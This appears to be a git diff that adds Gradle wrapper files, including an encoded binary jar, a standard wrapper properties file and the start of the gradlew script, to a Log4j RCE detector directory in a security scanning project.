zN^U|U$w4NP!Z>5|O)>$GjS5wqL3T8jTn%Vfg3_KnyUM{M`?bm)9oqZP&1w1)o=@+(5eUF@=P~ zk2B5AKxQ96n-6lyjh&xD!gHCzD$}OOdKQQk7LXS-fk2uy#h{ktqDo{o&>O!6%B|)` zg?|JgcH{P*5SoE3(}QyGc=@hqlB5w;bnmF#pL4iH`TSuft$dE5j^qP2S)?)@pjRQZ zBfo6g>c!|bN-Y|(Wah2o61Vd|OtXS?1`Fu&mFZ^yzUd4lgu7V|MRdGj3e#V`=mnk- zZ@LHn?@dDi=I^}R?}mZwduik!hC%=Hcl56u{Wrk1|1SxlgnzG&e7Vzh*wNM(6Y!~m z`cm8Ygc1$@z9u9=m5vs1(XXvH;q16fxyX4&e5dP-{!Kd555FD6G^sOXHyaCLka|8j zKKW^E>}>URx736WWNf?U6Dbd37Va3wQkiE;5F!quSnVKnmaIRl)b5rM_ICu4txs+w zj}nsd0I_VG^<%DMR8Zf}vh}kk;heOQTbl ziEoE;9@FBIfR7OO9y4Pwyz02OeA$n)mESpj zdd=xPwA`nO06uGGsXr4n>Cjot7m^~2X~V4yH&- zv2llS{|und45}Pm1-_W@)a-`vFBpD~>eVP(-rVHIIA|HD@%7>k8JPI-O*<7X{L*Ik zh^K`aEN!BteiRaY82FVo6<^8_22=aDIa8P&2A3V<(BQ;;x8Zs-1WuLRWjQvKv1rd2 zt%+fZ!L|ISVKT?$3iCK#7whp|1ivz1rV*R>yc5dS3kIKy_0`)n*%bfNyw%e7Uo}Mnnf>QwDgeH$X5eg_)!pI4EJjh6?kkG2oc6Af0py z(txE}$ukD|Zn=c+R`Oq;m~CSY{ebu9?!is}01sOK_mB?{lSY33E=!KkKtMeI*FO2b z%95awv9;Z|UDp3xm+aP*5I!R-_M2;GxeCRx3ATS0iF<_Do2Mi)Hk2 zjBF35VB>(oamIYjunu?g0O-?LuOvtfs5F(iiIicbu$HMPPF%F>pE@hIRjzT)>aa=m zwe;H9&+2|S!m74!E3xfO{l3E_ab`Q^tZ4yH9=~o2DUEtEMDqG=&D*8!>?2uao%w`&)THr z^>=L3HJquY>6)>dW4pCWbzrIB+>rdr{s}}cL_?#!sOPztRwPm1B=!jP7lQG|Iy6rP zVqZDNA;xaUx&xUt?Ox|;`9?oz`C0#}mc<1Urs#vTW4wd{1_r`eX=BeSV z_9WV*9mz>PH6b^z{VYQJ1nSTSqOFHE9u>cY)m`Q>=w1NzUShxcHsAxasnF2BG;NQ; zqL1tjLjImz_`q=|bAOr_i5_NEijqYZ^;d5y3ZFj6kCYakJh**N_wbfH;ICXq?-p#r z{{ljNDPSytOaG#7=yPmA&5gyYI%^7pLnMOw-RK}#*dk=@usL;|4US?{@K%7esmc&n z5$D*+l&C9)Bo@$d;Nwipd!68&+NnOj^<~vRcKLX>e03E|;to;$ndgR;9~&S-ly5gf z{rzj+j-g$;O|u?;wwxrEpD=8iFzUHQfl{B>bLHqH(9P zI59SS2PEBE;{zJUlcmf(T4DrcO?XRWR}?fekN<($1&AJTRDyW+D*2(Gyi?Qx-i}gy z&BpIO!NeVdLReO!YgdUfnT}7?5Z#~t5rMWqG+$N2n%5o#Np6ccNly}#IZQsW4?|NV zR9hrcyP(l#A+U4XcQvT;4{#i)dU>HK>aS!k1<3s2LyAhm2(!Nu%vRC9T`_yn9D+r} z1i&U~IcQ?4xhZYyH6WL-f%}qIhZkc&}n2N0PM| z6|XA9d-y;!`D{p;xu*gv7a|zaZ*MiQ)}zPzW4GB0mr)}N-DmB&hl1&x`2@sxN572_ zS)RdJyR%<7kW0v3Q_|57JKy&9tUdbqz}|hwn84}U*0r^jt6Ssrp+#1y=JBcZ+F`f(N?O0XL1OFGN`1-r?S<#t4*C9|y~e)!UYZ zRQ3M8m%~M)VriIvn~XzoP;5qeu(ZI>Y#r zAd)J)G9)*BeE%gmm&M@Olg3DI_zokjh9NvdGbT z+u4(Y&uC6tBBefIg~e=J#8i1Zxr>RT)#rGaB2C71usdsT=}mm`<#WY^6V{L*J6v&l z1^Tkr6-+^PA)yC;s1O^3Q!)Reb=fxs)P~I*?i&j{Vbb(Juc?La;cA5(H7#FKIj0Or zgV0BO{DUs`I9HgQ{-!g@5P^Vr|C4}~w6b=#`Zx0XcVSd?(04HUHwK(gJNafgQNB9Z zCi3TgNXAeJ+x|X|b@27$RxuYYuNSUBqo#uyiH6H(b~K*#!@g__4i%HP5wb<+Q7GSb zTZjJw96htUaGZ89$K_iBo4xEOJ#DT#KRu9ozu!GH0cqR>hP$nk=KXM%Y!(%vWQ#}s zy=O#BZ>xjUejMH^F39Bf0}>D}yiAh^toa-ts#gt6Mk9h1D<9_mGMBhLT0Ce2O3d_U znaTkBaxd-8XgwSp5)x-pqX5=+{cSuk6kyl@k|5DQ!5zLUVV%1X9vjY0gerbuG6nwZu5KDMdq(&UMLZ zy?jW#F6joUtVyz`Y?-#Yc0=i*htOFwQ3`hk$8oq35D}0m$FAOp#UFTV3|U3F>@N?d zeXLZCZjRC($%?dz(41e~)CN10qjh^1CdAcY(<=GMGk@`b1ptA&L*{L@_M{%Vd5b*x#b1(qh=7((<_l%ZUaHtmgq} zjchBdiis{Afxf@3CjPR09E*2#X(`W#-n`~6PcbaL_(^3tfDLk?Nb6CkW9v!v#&pWJ3iV-9hz zngp#Q`w`r~2wt&cQ9#S7z0CA^>Mzm7fpt72g<0y-KT{G~l-@L#edmjZQ}7{*$mLgSdJfS$Ge{hrD=mr;GD)uYq8}xS zT>(w_;}894Kb}(P5~FOpFIEjadhmxD(PsZbKwa-qxVa7Oc7~ebPKMeN(pCRzq8s@l z`|l^*X1eK1+Spz--WkSW_nK`Cs@JmkY4+p=U91nJoy{tSH;TzuIyS)Q_(S@;Iakua zpuDo5W54Mo;jY@Ly1dY)j|+M%$FJ0`C=FW#%UvOd&?p}0QqL20Xt!#pr8ujy6CA-2 zFz6Ex5H1i)c9&HUNwG{8K%FRK7HL$RJwvGakleLLo}tsb>t_nBCIuABNo$G--_j!gV&t8L^4N6wC|aLC)l&w04CD6Vc#h^(YH@Zs4nwUGkhc_-yt{dK zMZ<%$swLmUl8`E~RLihGt@J5v;r;vT&*Q!Cx zZ55-zpb;W7_Q{tf$mQvF61(K>kwTq0x{#Din||)B{+6O#ArLi)kiHWVC4`fOT&B(h zw&YV`J1|^FLx~9Q%r-SFhYl4PywI7sF2Q$>4o50~dfp5nn}XHv-_DM?RGs#+4gM;% znU>k=81G~f6u%^Z{bcX&sUv*h|L+|mNq=W43y@{~C zpL-TW3hYPs0^*OqS#KQwA^CGG_A-6#`_{1LBCD&*3nY0UHWJj1D|VP%oQlFxLllaA zVI@2^)HZ%E*=RbQcFOKIP7?+|_xVK+2oG(t_EGl2y;Ovox zZb^qVpe!4^reKvpIBFzx;Ji=PmrV>uu-Hb>`s?k?YZQ?>av45>i(w0V!|n?AP|v5H zm`e&Tgli#lqGEt?=(?~fy<(%#nDU`O@}Vjib6^rfE2xn;qgU6{u36j_+Km%v*2RLnGpsvS+THbZ>p(B zgb{QvqE?~50pkLP^0(`~K& zjT=2Pt2nSnwmnDFi2>;*C|OM1dY|CAZ5R|%SAuU|5KkjRM!LW_)LC*A zf{f>XaD+;rl6Y>Umr>M8y>lF+=nSxZX_-Z7lkTXyuZ(O6?UHw^q; z&$Zsm4U~}KLWz8>_{p*WQ!OgxT1JC&B&>|+LE3Z2mFNTUho<0u?@r^d=2 z-av!n8r#5M|F%l;=D=S1mGLjgFsiYAOODAR}#e^a8 zfVt$k=_o}kt3PTz?EpLkt54dY}kyd$rU zVqc9SN>0c z753j-gdN~UiW*FUDMOpYEkVzP)}{Ds*3_)ZBi)4v26MQr140|QRqhFoP=a|;C{#KS zD^9b-9HM11W+cb1Y)HAuk<^GUUo(ut!5kILBzAe)Vaxwu4Up!7Ql*#DDu z>EB84&xSrh>0jT!*X81jJQq$CRHqNj29!V3FN9DCx)~bvZbLwSlo3l^zPb1sqBnp) zfZpo|amY^H*I==3#8D%x3>zh#_SBf?r2QrD(Y@El!wa;Ja6G9Y1947P*DC|{9~nO& z*vDnnU!8(cV%HevsraF%Y%2{Z>CL0?64eu9r^t#WjW4~3uw8d}WHzsV%oq-T)Y z0-c!FWX5j1{1##?{aTeCW2b$PEnwe;t`VPCm@sQ`+$$L2=3kBR%2XU1{_|__XJ$xt zibjY2QlDVs)RgHH*kl&+jn*JqquF)k_Ypibo00lcc<2RYqsi-G%}k0r(N97H7JEn7@E3ZTH0JK>d8)E~A-D z!B&z9zJw0Bi^fgQZI%LirYaBKnWBXgc`An*qvO^*$xymqKOp(+3}IsnVhu?YnN7qz zNJxDN-JWd7-vIiv2M9ih>x3gNVY%DzzY~dCnA}76IRl!`VM=6=TYQ=o&uuE8kHqZT zoUNod0v+s9D)7aLJ|hVqL0li1hg)%&MAciI(4YJ=%D4H$fGQ&Lu-?@>>@pEgC;ERrL= zI^cS&3q8fvEGTJZgZwL5j&jp%j9U^Of6pR{wA^u=tVt#yCQepXNIbynGnuWbsC_EE zRyMFq{5DK692-*kyGy~An>AdVR9u___fzmmJ4;^s0yAGgO^h{YFmqJ%ZJ_^0BgCET zE6(B*SzeZ4pAxear^B-YW<%BK->X&Cr`g9_;qH~pCle# zdY|UB5cS<}DFRMO;&czbmV(?vzikf)Ks`d$LL801@HTP5@r><}$xp}+Ip`u_AZ~!K zT}{+R9Wkj}DtC=4QIqJok5(~0Ll&_6PPVQ`hZ+2iX1H{YjI8axG_Bw#QJy`6T>1Nn z%u^l`>XJ{^vX`L0 z1%w-ie!dE|!SP<>#c%ma9)8K4gm=!inHn2U+GR+~ zqZVoa!#aS0SP(|**WfQSe?cA=1|Jwk`UDsny%_y{@AV??N>xWekf>_IZLUEK3{Ksi zWWW$if&Go~@Oz)`#=6t_bNtD$d9FMBN#&97+XKa+K2C@I9xWgTE{?Xnhc9_KKPcujj@NprM@e|KtV_SR+ zSpeJ!1FGJ=Te6={;;+;a46-*DW*FjTnBfeuzI_=I1yk8M(}IwEIGWV0Y~wia;}^dg z{BK#G7^J`SE10z4(_Me=kF&4ld*}wpNs91%2Ute>Om`byv9qgK4VfwPj$`axsiZ)wxS4k4KTLb-d~!7I@^Jq`>?TrixHk|9 zqCX7@sWcVfNP8N;(T>>PJgsklQ#GF>F;fz_Rogh3r!dy*0qMr#>hvSua;$d z3TCZ4tlkyWPTD<=5&*bUck~J;oaIzSQ0E03_2x{?weax^jL3o`ZP#uvK{Z5^%H4b6 z%Kbp6K?>{;8>BnQy64Jy$~DN?l(ufkcs6TpaO&i~dC>0fvi-I^7YT#h?m;TVG|nba%CKRG%}3P*wejg) zI(ow&(5X3HR_xk{jrnkA-hbwxEQh|$CET9Qv6UpM+-bY?E!XVorBvHoU59;q<9$hK z%w5K-SK zWT#1OX__$ceoq0cRt>9|)v}$7{PlfwN}%Wh3rwSl;%JD|k~@IBMd5}JD#TOvp=S57 zae=J#0%+oH`-Av}a(Jqhd4h5~eG5ASOD)DfuqujI6p!;xF_GFcc;hZ9k^a7c%%h(J zhY;n&SyJWxju<+r`;pmAAWJmHDs{)V-x7(0-;E?I9FWK@Z6G+?7Py8uLc2~Fh1^0K zzC*V#P88(6U$XBjLmnahi2C!a+|4a)5Ho5>owQw$jaBm<)H2fR=-B*AI8G@@P-8I8 zHios92Q6Nk-n0;;c|WV$Q);Hu4;+y%C@3alP`cJ2{z~*m-@de%OKVgiWp;4Q)qf9n zJ!vmx(C=_>{+??w{U^Bh|LFJ<6t}Er<-Tu{C{dv8eb(kVQ4!fOuopTo!^x1OrG}0D zR{A#SrmN`=7T29bzQ}bwX8OUufW9d9T4>WY2n15=k3_rfGOp6sK0oj7(0xGaEe+-C zVuWa;hS*MB{^$=0`bWF(h|{}?53{5Wf!1M%YxVw}io4u-G2AYN|FdmhI13HvnoK zNS2fStm=?8ZpKt}v1@Dmz0FD(9pu}N@aDG3BY8y`O*xFsSz9f+Y({hFx;P_h>ER_& z`~{z?_vCNS>agYZI?ry*V96_uh;|EFc0*-x*`$f4A$*==p`TUVG;YDO+I4{gJGrj^ zn?ud(B4BlQr;NN?vaz_7{&(D9mfd z8esj=a4tR-ybJjCMtqV8>zn`r{0g$hwoWRUI3}X5=dofN){;vNoftEwX>2t@nUJro z#%7rpie2eH1sRa9i6TbBA4hLE8SBK@blOs=ouBvk{zFCYn4xY;v3QSM%y6?_+FGDn z4A;m)W?JL!gw^*tRx$gqmBXk&VU=Nh$gYp+Swu!h!+e(26(6*3Q!(!MsrMiLri`S= zKItik^R9g!0q7y$lh+L4zBc-?Fsm8`CX1+f>4GK7^X2#*H|oK}reQnT{Mm|0ar<+S zRc_dM%M?a3bC2ILD`|;6vKA`a3*N~(cjw~Xy`zhuY2s{(7KLB{S>QtR3NBQ3>vd+= z#}Q)AJr7Y_-eV(sMN#x!uGX08oE*g=grB*|bBs}%^3!RVA4f%m3=1f0K=T^}iI&2K zuM2GG5_%+#v-&V>?x4W9wQ|jE2Q7Be8mOyJtZrqn#gXy-1fF1P$C8+We&B*-pi#q5 zETp%H6g+%#sH+L4=ww?-h;MRCd2J9zwQUe4gHAbCbH08gDJY;F6F)HtWCRW1fLR;)ysGZanlz*a+|V&@(ipWdB!tz=m_0 z6F}`d$r%33bw?G*azn*}Z;UMr{z4d9j~s`0*foZkUPwpJsGgoR0aF>&@DC;$A&(av z?b|oo;`_jd>_5nye`DVOcMLr-*Nw&nA z82E8Dw^$Lpso)gEMh?N|Uc^X*NIhg=U%enuzZOGi-xcZRUZmkmq~(cP{S|*+A6P;Q zprIkJkIl51@ng)8cR6QSXJtoa$AzT@*(zN3M+6`BTO~ZMo0`9$s;pg0HE3C;&;D@q zd^0zcpT+jC%&=cYJF+j&uzX87d(gP9&kB9|-zN=69ymQS9_K@h3ph&wD5_!4q@qI@ zBMbd`2JJ2%yNX?`3(u&+nUUJLZ=|{t7^Rpw#v-pqD2_3}UEz!QazhRty%|Q~WCo7$ z+sIugHA%Lmm{lBP#bnu_>G}Ja<*6YOvSC;89z67M%iG0dagOt1HDpDn$<&H0DWxMU zxOYaaks6%R@{`l~zlZ*~2}n53mn2|O&gE+j*^ypbrtBv{xd~G(NF?Z%F3>S6+qcry z?ZdF9R*a;3lqX_!rI(Cov8ER_mOqSn6g&ZU(I|DHo7Jj`GJ}mF;T(vax`2+B8)H_D zD0I;%I?*oGD616DsC#j0x*p+ZpBfd=9gR|TvB)832CRhsW_7g&WI@zp@r7dhg}{+4f=(cO2s+)jg0x(*6|^+6W_=YIfSH0lTcK* z%)LyaOL6em@*-_u)}Swe8rU)~#zT-vNiW(D*~?Zp3NWl1y#fo!3sK-5Ek6F$F5l3| zrFFD~WHz1}WHmzzZ!n&O8rTgfytJG*7iE~0`0;HGXgWTgx@2fD`oodipOM*MOWN-} zJY-^>VMEi8v23ZlOn0NXp{7!QV3F1FY_URZjRKMcY(2PV_ms}EIC^x z=EYB5UUQ{@R~$2Mwiw$_JAcF+szKB*n(`MYpDCl>~ss54uDQ%Xf-8|dgO zY)B_qju=IaShS|XsQo=nSYxV$_vQR@hd~;qW)TEfU|BA0&-JSwO}-a*T;^}l;MgLM zz}CjPlJX|W2vCzm3oHw3vqsRc3RY=2()}iw_k2#eKf&VEP7TQ;(DDzEAUgj!z_h2Br;Z3u=K~LqM6YOrlh)v9`!n|6M-s z?XvA~y<5?WJ{+yM~uPh7uVM&g-(;IC3>uA}ud?B3F zelSyc)Nx>(?F=H88O&_70%{ATsLVTAp88F-`+|egQ7C4rpIgOf;1tU1au+D3 zlz?k$jJtTOrl&B2%}D}8d=+$NINOZjY$lb{O<;oT<zXoAp01KYG$Y4*=)!&4g|FL(!54OhR-?)DXC&VS5E|1HGk8LY;)FRJqnz zb_rV2F7=BGwHgDK&4J3{%&IK~rQx<&Kea|qEre;%A~5YD6x`mo>mdR)l?Nd%T2(5U z_ciT02-zt_*C|vn?BYDuqSFrk3R(4B0M@CRFmG{5sovIq4%8AhjXA5UwRGo)MxZlI zI%vz`v8B+#ff*XtGnciczFG}l(I}{YuCco#2E6|+5WJ|>BSDfz0oT+F z%QI^ixD|^(AN`MS6J$ zXlKNTFhb>KDkJp*4*LaZ2WWA5YR~{`={F^hwXGG*rJYQA7kx|nwnC58!eogSIvy{F zm1C#9@$LhK^Tl>&iM0wsnbG7Y^MnQ=q))MgApj4)DQt!Q5S`h+5a%c7M!m%)?+h65 z0NHDiEM^`W+M4)=q^#sk(g!GTpB}edwIe>FJQ+jAbCo#b zXmtd3raGJNH8vnqMtjem<_)9`gU_-RF&ZK!aIenv7B2Y0rZhon=2yh&VsHzM|`y|0x$Zez$bUg5Nqj?@~^ zPN43MB}q0kF&^=#3C;2T*bDBTyO(+#nZnULkVy0JcGJ36or7yl1wt7HI_>V7>mdud zv2II9P61FyEXZuF$=69dn%Z6F;SOwyGL4D5mKfW)q4l$8yUhv7|>>h_-4T*_CwAyu7;DW}_H zo>N_7Gm6eed=UaiEp_7aZko@CC61@(E1be&5I9TUq%AOJW>s^9w%pR5g2{7HW9qyF zh+ZvX;5}PN0!B4q2FUy+C#w5J?0Tkd&S#~94(AP4%fRb^742pgH7Tb1))siXWXHUT z1Wn5CG&!mGtr#jq6(P#!ck@K+FNprcWP?^wA2>mHA03W?kj>5b|P0ErXS) zg2qDTjQ|grCgYhrH-RapWCvMq5vCaF?{R%*mu}1)UDll~6;}3Q*^QOfj!dlt02lSzK z?+P)02Rrq``NbU3j&s*;<%i4Y>y9NK&=&KsYwvEmf5jwTG6?+Pu1q9M8lLlx)uZZ7 zizhr~e0ktGs-=$li-2jz^_48-jk**y&5u0`B2gc#i$T1~t+AS*kEfR*b{^Ec>2-F~ zKYRl&uQ5yO@EtAZX8ZSqx;8+AKf+CqhlUSpp*VfyBMv+%wxN5GukZEi^_to%MFRc0 zdXqJ*jk?#uYT6EJe446@(f6G4vhnxQP|pGeJ?-#|Ksq?g*ky=}x+Qnx+!<>Y(XStN zQIND`{KU}&l)E*ntI^}kJ=ly8DML{!(58Xk4_bzIc@v~e;>wKl_`7G%pGz~4KH*CTp;_|52)d!+ximd$|8v@zzEq%j68QXkgf$7eM~xdM5q5i z{?qFx_W|eq@L03bWJfjy^z@()-iCjzjREuf zb_a(yTz)ZKWCF%Lp>^2-%Q?*t{06}x#DLN3cO=i>h6#-a`z;<5rBGGM6GA(WqvRcX%Pn?Uvs1#e|ePSNJEC%+X(YI$x)`s$%>O#%}D9dgqWfq4yfVz^%FglokdFR}uJQhx|}_w`9Ulx38Ha>ZslKs58c-@IFI&f;?xM zbK>rKNfPFsf>%+k6%(A6=7Aac^_qrOCNqb3ZVJ;8pt!?1DR*ynJb#@II9h?)xB)A~ zm9Kk)Hy}!Z+W}i6ZJDy+?yY_=#kWrzgV)2eZAx_E=}Nh7*#<&mQz`Umfe$+l^P(xd zN}PA2qII4}ddCU+PN+yxkH%y!Qe(;iH3W%bwM3NKbU_saBo<8x9fGNtTAc_SizU=o zC3n2;c%LoU^j90Sz>B_p--Fzqv7x7*?|~-x{haH8RP)p|^u$}S9pD-}5;88pu0J~9 zj}EC`Q^Fw}`^pvAs4qOIuxKvGN@DUdRQ8p-RXh=3S#<`3{+Qv6&nEm)uV|kRVnu6f zco{(rJaWw(T0PWim?kkj9pJ)ZsUk9)dSNLDHf`y&@wbd;_ita>6RXFJ+8XC*-wsiN z(HR|9IF283fn=DI#3Ze&#y3yS5;!yoIBAH(v}3p5_Zr+F99*%+)cp!Sy8e+lG?dOc zuEz<;3X9Z5kkpL_ZYQa`sioR_@_cG z8tT~GOSTWnO~#?$u)AcaBSaV7P~RT?Nn8(OSL1RmzPWRWQ$K2`6*)+&7^zZBeWzud z*xb3|Fc~|R9eH+lQ#4wF#c;)Gka6lL(63C;>(bZob!i8F-3EhYU3|6-JBC0*5`y0| zBs!Frs=s!Sy0qmQNgIH|F`6(SrD1js2prni_QbG9Sv@^Pu2szR9NZl8GU89gWWvVg z2^-b*t+F{Nt>v?js7hnlC`tRU(an0qQG7;h6T~ z-`vf#R-AE$pzk`M{gCaia}F`->O2)60AuGFAJg> z*O2IZqTx=AzDvC49?A92>bQLdb&32_4>0Bgp0ESXXnd4B)!$t$g{*FG%HYdt3b3a^J9#so%BJMyr2 z{y?rzW!>lr097b9(75#&4&@lkB1vT*w&0E>!dS+a|ZOu6t^zro2tiP)bhcNNxn zbJs3_Fz+?t;4bkd8GfDI7ccJ5zU`Bs~ zN~bci`c`a%DoCMel<-KUCBdZRmew`MbZEPYE|R#|*hhvhyhOL#9Yt7$g_)!X?fK^F z8UDz)(zpsvriJ5aro5>qy`Fnz%;IR$@Kg3Z3EE!fv9CAdrAym6QU82=_$_N5*({_1 z7!-=zy(R{xg9S519S6W{HpJZ8Is|kQ!0?`!vxDggmslD59)>iQ15f z7J8NqdR`9f8H|~iFGNsPV!N)(CC9JRmzL9S}7U-K@`X893f3f<8|8Ls!^eA^#(O6nA+ByFIXcz_WLbfeG|nHJ5_sJJ^gNJ%SI9#XEfNRbzV+!RkI zXS$MOVYb2!0vU}Gt7oUy*|WpF^*orBot~b2J@^be?Gq;U%#am8`PmH-UCFZ&uTJlnetYij0z{K1mmivk$bdPbLodu;-R@@#gAV!=d%(caz$E?r zURX0pqAn7UuF6dULnoF1dZ$WM)tHAM{eZK6DbU1J`V5Dw<;xk}Nl`h+nfMO_Rdv z3SyOMzAbYaD;mkxA7_I_DOs#Bk;e5D%gsS3q)hlmi1w{FsjKNJE22`AjmNiAPRnIc zcIkN25;rOn3FipAFd(PnlK9{03w6Q<(68#1Jw`{axEGQE{Ac>^U$h);h2ADICmaNxrfpb`Jdr*)Y1SicpYKCFv$3vf~;5aW>n^7QGa63MJ z;B1+Z>WQ615R2D8JmmT`T{QcgZ+Kz1hTu{9FOL}Q8+iFx-Vyi}ZVVcGjTe>QfA`7W zFoS__+;E_rQIQxd(Bq4$egKeKsk#-9=&A!)(|hBvydsr5ts0Zjp*%*C0lM2sIOx1s zg$xz?Fh?x!P^!vWa|}^+SY8oZHub7f;E!S&Q;F?dZmvBxuFEISC}$^B_x*N-xRRJh zn4W*ThEWaPD*$KBr8_?}XRhHY7h^U1aN6>m=n~?YJQd8+!Uyq_3^)~4>XjelM&!c9 zCo|0KsGq7!KsZ~9@%G?i>LaU7#uSTMpypocm*oqJHR|wOgVWc7_8PVuuw>x{kEG4T z$p^DV`}jUK39zqFc(d5;N+M!Zd3zhZN&?Ww(<@AV-&f!v$uV>%z+dg9((35o@4rqLvTC-se@hkn^6k7+xHiK-vTRvM8{bCejbU;1@U=*r}GTI?Oc$!b6NRcj83-zF; z=TB#ESDB`F`jf4)z=OS76Se}tQDDHh{VKJk#Ad6FDB_=afpK#pyRkGrk~OuzmQG)} z*$t!nZu$KN&B;|O-aD=H<|n6aGGJZ=K9QFLG0y=Jye_ElJFNZJT;fU8P8CZcLBERjioAOC0Vz_pIXIc};)8HjfPwNy zE!g|lkRv3qpmU?shz(BBt5%TbpJC3HzP9!t7k*Fh48!-HlJ4TTgdCr3rCU!iF}kgu z4Qs;K@XOY~4f~N}Jl8V_mGbwzvNLbl&0e9UG4W;kvjTK|5`-Ld+eQ6YRF`N0ct%u% z^3J_{7r#_W1zm|>IPN!yWCRrN)N!7v`~ptNkIXKipQ6ogFvcnI5ugxdoa{d;uD67g zgo^}QuZRkB540Vc!@c80(wFG=$ct}oHq(#W0+-XX(;Rrt`x=<45X}ficNtI2(&}=~ zb(!}tNz?s`wm{gK?2tdf+OEF;tzx<(3fMd7_tM@Ghs$Z(Os-H(kYq#qB|J-aC9Ku?fsWwJhB36c)A zu|a7ZF?V8X7l2g5~xqZf>2=6Dsi5lfo zKIRL&@MLJyaBE)V_9=pJYu%U2wxR*-(0MI5_|yqP`?h@cks(5LR@XUKLMI_xuVtiu zRvpDS8MyUMRFM6`P+Sjc!A_e^H38Qu7b{b7QZ>NHyA6k-YYygQuW&C_OGO(7V7?}r)zedSVpBI zuk29Z4GW3C0GpfozbZQya454sjt@ndQmsp=DA&@sWw&xmOlDk1JIcMNp~-ES$&A~k zG#W(6hBj?!Fu8Q4WYexoSBa8_5=v20xnx6H?e;$t)5|f&{7=vOye^&3_c-Ug?|a@e z=X`&qT_5B7N9vZoPBhXOTEDV;4&x2Je4}T(UB~O-$D#CjX77$R?RZ*`ed~$G;$4YS z4n*|Pop(!NN79Hk2}U#cfEEwdxM)xQm}$~rV03xc=#U@@Y*}qEmot5KvDb=8{!E-n zl4p?}&g2h^sUGyTcGh=0aQzQb*k;K;dvbeZUgmwEv>%#(EPtj=gHKdi|E8@w+|>KC zxEU>b>P+9Xf}pEyQK(}#QrBG4Jaf!iE!qpMbTu>gb!gtdq<`@xO+roQl+S_7)!G(% zdy)$iGmJ1cwP?F=IyyV1-$|kf|EKM3B@I&lZ%NI@VV;*mQdLWjc#t|Vbk_Q~>&O03 zIcSr$(qLAINj7a z;!||v&1D5SX#X@5jNd}jUsi-CH_Scjyht&}q2p*CJCC-`&NyXf)vD5{e!HO629D-O z%bZelTcq=DoRX>zeWCa^RmR3*{x9;3lZ75M#S)!W0bRIFH#P6b%{|HRSZ5!!I#s)W z_|XXZQ<0_`>b^^0Z>LU64Yg1w)8}#M^9se(OZ9~baZ7fsKFc;EtnB>kesci#>=icG zuHdjax2^=!_(9?0l7;G7^-}9>Y#M zm;9*GT~dBuYWdk49%mZM0=H#FY1)}7NE5DE_vsqrA0`?0R0q535qHjWXcl|gz9Fq$ zMKxgL;68l!gm3y0durIr3LHv~y*ABm` zYhQG0UW#hg@*A{&G!;$FS43}rIF$e6yRdGJWVR<}uuJ_5_8qa3xaHH^!VzUteVp;> z<0`M>3tnY$ZFb$(`0sg93TwGyP;`9UYUWxO&CvAnSzei&ap))NcW;R`tA=y^?mBmG+M*&bqW5kL$V(O;(p)aEk`^ci?2Jwxu>0sy>a7+Wa9t z5#I2o;+gr^9^&km^z7>xJWbN&Ft>Vna34E zI@BBzwX)R}K3SL?)enrDJ45QLt;-7CFJk{`cF3L4Z^CtG_r5)0)HV>BOYPIUh#D%| zYQAu31f{bm-D*`_k7DTTr?Nkw_gY%J1cb2&TdtibY?V=|SSIOlA;|5C!2@?YQ z-$?G0jj^mG|MP>DmbF7}T~C$H6=CpZ~hd zZ1C|xV@=h#^~`3LSCnmI(vZ|5r3>eq5*UB)dhdy``*gKY3Eg%jSK8I-`G+OWWlD)T zt$wSQ=||lSkiKy}YF-k}@W9EiS?)z`hK{R!dd-$BCJvBtAN-yXn3njU$MisEtp!?Q z%Vk-*(wy9dd15(-WFw_&^tT;;IpF?ox1`Qq3-0zVTk+$W_?q}GfAQlPcrB^?&tWSI z2BB!K=sH7FUYmXa_dcV^Z3>5z8}~W{S!$jVR_3hu_|wl2|gmRH8ftn^z@fW75*;-`;wU+fY+BR_yx6BZnE5_Hna({jrPiubRp$jZ=T=t$hx&NeCV1!vuCcl4PJ0p0Fjp>6K} zHkoD1gQk=P2hYcT%)cJ2Q5WuA|5_x+dX0%hnozfTF>$#Wz~X!MY>){H4#fB#7^ID* z1*o2Hzp}?WVs&gbS?Uq(CT0sP+F)u9{xfgg6o_{8J#m;|NeJqDHhb(Q8%z8aM_qeM zn83>d`uDd47WIuKp78JBYo2SYupGcNXIzeou^eMY`@%Bv8elZ>q~3uq#~IX)g%g;h zoUXymEd>|kVsMkyb&1l~lrE-`w(0PObapYa35DJ4Y03Jv_!DKp}0HTbOgZRM=;PSsuAJJJ1 zItc+tu9;ANG;qHaCI|T85!euhFK~VK^G2LZV1+cbzS?>ar@>emg;JTI5VAn1g5U~| zU=p&k0OlSzc$U=s#9_uL3&n|6A1X$XvrE9vFV@`A4G#!D1QcFCeE`F2N(deJx>)*A z$XIW0P~-NbAd=5i6`s<~(vAQX9t$dbVqc5|E|CHRtb$1(l&KSNh_t2#k_l95KnP86 z)ns_DGspv-M0z0#h2a+*oH|{5~j{ zXGD=}cLrBSESQ0u$XmQlFfWMCAWaS;wKK%#aSSYK=qljBiY(s zT$v;We24&$w=avIILsMt0%1fDyah|AlLNg#WL$Lu)tf}YfqO%+pH~QC*bZO4aM*i9 zrPFf|5!hv@XY8CzaFh*Dy9vH|2fKKr(@x}`L#9^*vOae|lk`adG#oZZAyk|TOV8`9L zc-sQu%y1MQes&J?)a1}Zc*>-P!6j-T#75V$lLC!TuMB(!G-+D2;XptUxymSPFI-K&0x}B1?h$ z3-9**-9!);fwyiWB5gS$i;P~c=^}5-6G@{4TWDBRDc6(M|%qa-mS`z`u9kWo{Xl_uc;hXOkRd literal 0 HcmV?d00001 diff --git a/community/detectors/log4j_rce/gradle/wrapper/gradle-wrapper.properties b/community/detectors/log4j_rce/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..622ab64a3 --- /dev/null +++ b/community/detectors/log4j_rce/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-bin.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/community/detectors/log4j_rce/gradlew b/community/detectors/log4j_rce/gradlew new file mode 100755 index 000000000..fbd7c5158 --- /dev/null +++ b/community/detectors/log4j_rce/gradlew @@ -0,0 +1,185 @@ +#!/usr/bin/env sh + +# +# Copyright 2015 the original author or authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +## +## 